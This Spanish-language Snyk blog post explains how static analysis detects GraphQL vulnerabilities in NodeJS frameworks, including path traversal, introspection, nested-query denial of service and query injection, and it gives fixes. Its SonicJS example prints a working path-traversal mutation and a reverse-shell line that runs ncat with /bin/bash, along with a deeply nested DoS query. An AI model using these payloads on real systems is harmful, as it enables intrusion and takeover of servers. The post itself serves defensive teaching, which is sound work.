Skip to main content

Mejora la seguridad de GraphQL con análisis estático y Snyk Code

Escrito por
Headshot of Sam Sanoop

Sam Sanoop

feature snyk code orange

12 de abril de 2022

0 minutos de lectura

GraphQL es un lenguaje de consulta para API desarrollado por Facebook en 2015. Desde entonces, sus características y capacidades únicas lo han convertido en una alternativa viable a las API REST. En cuanto a la seguridad, los servidores GraphQL pueden presentar varios tipos de configuraciones incorrectas que provocan filtraciones de datos, problemas de control de acceso y otras vulnerabilidades de alto riesgo.

Aunque los problemas de seguridad de GraphQL son ampliamente conocidos, hay poca información sobre cómo detectarlos más allá del análisis dinámico. En esta publicación, veremos cómo se manifiestan las vulnerabilidades comunes de GraphQL en una base de código y cómo detectarlas con herramientas de análisis estático y GraphQL Security. Como muchos frameworks de GraphQL de uso extendido están en npm, nos centraremos en ejemplos del ecosistema NodeJS.

Análisis de taint en frameworks de GraphQL

Numerosos estudios sobre endpoints de GraphQL han reportado vulnerabilidades de inyección SQL y deserialización. Un ejemplo puede verse en el informe de HackerOne, donde se presenta una inyección SQL a través de un parámetro de GraphQL.

Al igual que los parámetros de las API REST, los argumentos de GraphQL son una fuente de taint por la que se pueden introducir datos proporcionados por los usuarios en una aplicación. Las herramientas de análisis estático deberían poder identificar y modelar estos parámetros con precisión en una aplicación.

En los frameworks de GraphQL, los resolvers conectan el esquema, la función y los argumentos antes de pasarlos a las funciones resolver. El siguiente ejemplo muestra el argumento args como un objeto que contiene todos los argumentos de GraphQL proporcionados para el campo por la operación de GraphQL.

const resolvers = {
  Query: {
    user(parent, args, context, info) {
      return runFunction(args.parameter);
    }
  }
}

El motor de Snyk Code puede rastrear estas expresiones args y aprovecha el análisis de puntos a y el análisis de estados de tipo para registrar con precisión la ejecución del programa. El análisis de SonicJS con Snyk Code, un sistema de gestión de contenido moderno y de código abierto basado en NodeJs, es un ejemplo útil.

SonicJS ayuda a los usuarios a realizar operaciones de CMS a través de su endpoint de GraphQL. Una de estas operaciones es la mutación fileUpdate, que permite a un usuario actualizar sus archivos.

    fileUpdate: {
      type: FileType,
      args: {
        filePath: { type: new GraphQLNonNull(GraphQLString) },
        fileContent: { type: new GraphQLNonNull(GraphQLString) },
        sessionID: { type: GraphQLString },
      },
      resolve(parent, args) {
        fileService.writeFile(args.filePath, args.fileContent);
        let fileData = new FileData(args.filePath, args.fileContent);
        return fileData;
      },

(código fuente)

Esta consulta de mutación toma la entrada proporcionada por el usuario, llamada args.filePath y args.fileContent, y luego la envía a la función writeFile del objeto fileService. La implementación de la función del objeto fileService está en server/services/file.service.js y se muestra a continuación.

    writeFile: async function (filePath, fileContent) {
      Let fullPath = path.join(this.getRootAppPath(), filePath);
      Await fsPromise.writeFile(fullPath, fileContent);
    },

(código fuente)

Esta función toma ambos argumentos de GraphQL y usa la función fs.writeFile para actualizar el archivo en la ruta proporcionada. Sin embargo, es posible aprovechar esta función para recorrer el directorio de la aplicación y crear un archivo nuevo en cualquier ubicación del sistema objetivo, como en la siguiente consulta de GraphQL:

mutation {

fileUpdate(
filePath: "../../../../../../../../../../../../tmp/test.txt",
fileContent: "exploitable",
sessionID:"nosessioncheckinplace"
){
filePath
fileContent
}
}

Esta vulnerabilidad permite ejecutar código en el sistema al sobrescribir uno de los archivos de servicio de SonicJS con JavaScript malicioso que el sistema de SonicJS carga durante el inicio o el reinicio. Por ejemplo, la siguiente instrucción usa la función child_process para instalar una puerta trasera en la aplicación y conectarse a una dirección IP controlada por un atacante mediante el programa ncat, instalado en el sistema objetivo.

require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
Interfaz de GraphQL que muestra una mutación fileUpdate con una ruta de archivo y una carga útil de comando de shell, junto con la respuesta JSON obtenida.

A continuación, se muestra el informe de Snyk Code sobre esta vulnerabilidad:

Análisis de seguridad del código que muestra una vulnerabilidad de recorrido de rutas en GraphQL y el flujo de datos hacia una función que escribe archivos

SonicJS puede prevenir esta vulnerabilidad en el futuro al exigir autenticación y autorización para la consulta, y validar la ruta del archivo proporcionada para asegurarse de que no se permitan caracteres especiales como ../.

Introspección de GraphQL

El sistema de introspección de GraphQL permite descubrir qué consultas admite un servidor de GraphQL. Esto incluye tipos, campos, consultas, mutaciones y otra información relacionada con un esquema de GraphQL.

Aunque esta es una funcionalidad y no representa un problema de seguridad directo, la introspección suele usarse para encontrar funcionalidades ocultas que un atacante puede aprovechar.

En el ecosistema NodeJS, los frameworks de JavaScript suelen habilitar la introspección de forma predeterminada, algo que quizá no sea evidente para los desarrolladores. Por eso, al usar el framework de GraphQL sin especificar ajustes, como en express-graphql a continuación, la introspección se habilita automáticamente.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
})))

A continuación, se muestra un ejemplo de este informe en Snyk Code:

Pantalla de análisis de seguridad que muestra «Introspección habilitada» para un servidor Apollo GraphQL, con código que establece la introspección en true.

Como puede haber casos legítimos en los que se necesite introspección en una aplicación de producción, este problema se reportó como de bajo riesgo.

Para deshabilitar la introspección en express-graphql, usa NoSchemaIntrospectionCustomRule, proporcionado por graphql-js.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'
import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
})))

Aunque habilitar la introspección en producción puede ocasionar problemas de seguridad, a menudo se necesita durante el desarrollo. Los creadores de ApolloServer abordaron este problema al habilitar o deshabilitar la introspección según el estado de producción.

// introspection is only enabled based on NODE_ENV
const apolloServer = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
});
export default apolloServer;

Si usas otro framework de GraphQL, puedes usar una biblioteca de terceros, como el paquete graphql-disable-introspection, para validar las reglas en tu endpoint de GraphQL.

Denegación de servicio en GraphQL

Cada consulta tiene una profundidad de objetos anidados que un endpoint de GraphQL puede procesar. La mayoría de los frameworks de GraphQL no tienen un límite de profundidad predeterminado. Las consultas sin límite de profundidad pueden dejar al framework vulnerable a ataques de denegación de servicio (DoS), como en el siguiente ejemplo:

{
    one {
        two {
            one {
                two {
                    one…
                }
            }
        }
    }
}

Sin embargo, para que se pueda explotar este problema, el servidor de GraphQL debe tener un patrón recursivo de tipos de campo en el que exista una relación bidireccional. A continuación, se muestra un ejemplo de este informe en Snyk Code:

Pantalla de análisis de código titulada «Denegación de servicio (DoS) mediante consultas GraphQL anidadas», que destaca una configuración de graphqlHTTP en server.js.

Esta vulnerabilidad de DoS se encontró en mevn-cli. Para corregirla, se puede usar el paquete graphql-depth-limit disponible en npm, como se muestra a continuación:

import depthLimit from 'graphql-depth-limit'
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'

const app = express() 
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  schema,
  validationRules: [ depthLimit(10) ]
})))

Revisa este commit del repositorio de mevn-cli para ver un ejemplo de esta corrección.

Otra forma de prevenir los ataques de DoS es revisar la longitud del cuerpo de la solicitud en tu endpoint de GraphQL. Las consultas extensas pueden indicar un ataque de DoS, por lo que monitorear la longitud de las consultas es una verificación sencilla y eficaz.

// query length is checked here to prevent DoS
  app.use('/graphql', graphqlExpress((req) => {     
 const query = req.query.query || req.body.query;
    if (query && query.length > 2000) {
      // Normal GraphQL queries are not this long
      // Probably indicates someone trying to send an overly expensive query
      throw new Error('Query too large.');
    }

    return {
      schema,
      context: Object.assign({}, context),
      debug: true,
    };
  }));

Inyección de GraphQL

Al permitir que un atacante interfiera con una consulta de la aplicación, una inyección de GraphQL da acceso a partes maliciosas a datos que normalmente no podrían obtener, incluidos datos de usuarios o cualquier otro dato al que pueda acceder la aplicación. En muchos casos, estos datos pueden modificarse o eliminarse, lo que provoca cambios persistentes en el contenido y el comportamiento de la aplicación.

@octokit/core es una biblioteca minimalista diseñada para utilizar las API REST y GraphQL de GitHub y crear consultas de GraphQL. Cuando se usa la entrada del usuario para crear consultas de GraphQL de forma dinámica, un atacante podría modificar la consulta para acceder a información confidencial. A continuación, se muestra un ejemplo de este problema:

app.get('/', async function(req, res) {

    let user = req.query.page;

    const { articles } = await octokit.graphql(
        `
          query lastIssues($owner: String!, $repo: String!) {
            repository(owner: ${input}, name: $repo) {
              issues(last: $num) {
                edges {
                  node {
                    title
                  }
                }
              }
            }
          }
        `,
        {
          owner: "octokit",
          repo: "graphql.js",
        }
      );

A continuación, se muestra un ejemplo de este informe en Snyk Code.

Análisis de seguridad de GraphQL con Snyk Code que muestra cómo una entrada HTTP no sanitizada fluye hacia una consulta GraphQL en código JavaScript

Para prevenir la inyección de GraphQL, evita pasar directamente a una consulta de GraphQL los parámetros ingresados por el usuario. Si necesitas usar directamente la entrada del usuario por motivos de rendimiento, valídala con una lista de permitidos muy estricta de caracteres permitidos. Evita los caracteres especiales como ? & / < > ; - y el espacio, y usa una rutina de escape proporcionada por el proveedor, si es posible.

Conclusión

Actualmente, Snyk Code es compatible con los siguientes frameworks de GraphQL mediante diversas reglas de análisis de taint y semántica:

  • express-graphql

  • koa-graphql

  • mercurius

  • apollo-server

  • graphql-js

Esperamos agregar compatibilidad con otras vulnerabilidades de GraphQL, como referencias directas a objetos inseguros y problemas de control de acceso. Aunque actualmente GraphQL es compatible con JavaScript, nuestro objetivo es agregar más lenguajes de programación y reglas de calidad de código para abordar problemas como los ataques por lotes y la complejidad de las consultas.

Comienza con Capture the Flag

Aprende a resolver desafíos de Capture the Flag con nuestro taller virtual 101 a pedido.

Leer más

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

illustration hero ai
Blog

El huracán de la IA ha llegado

La IA está acelerando por igual la creación de software y los ciberataques. Los líderes deben proteger los agentes y el código desde el inicio, aplicar controles en tiempo de ejecución y validar las defensas de forma independiente.

feature insights context
Blog

¿La prevención es, en esencia, un problema ya resuelto?

La prevención en el código generado por agentes está resuelta desde el punto de vista arquitectónico, pero elegir controles que protejan la seguridad sin ralentizar el desarrollo sigue siendo el desafío.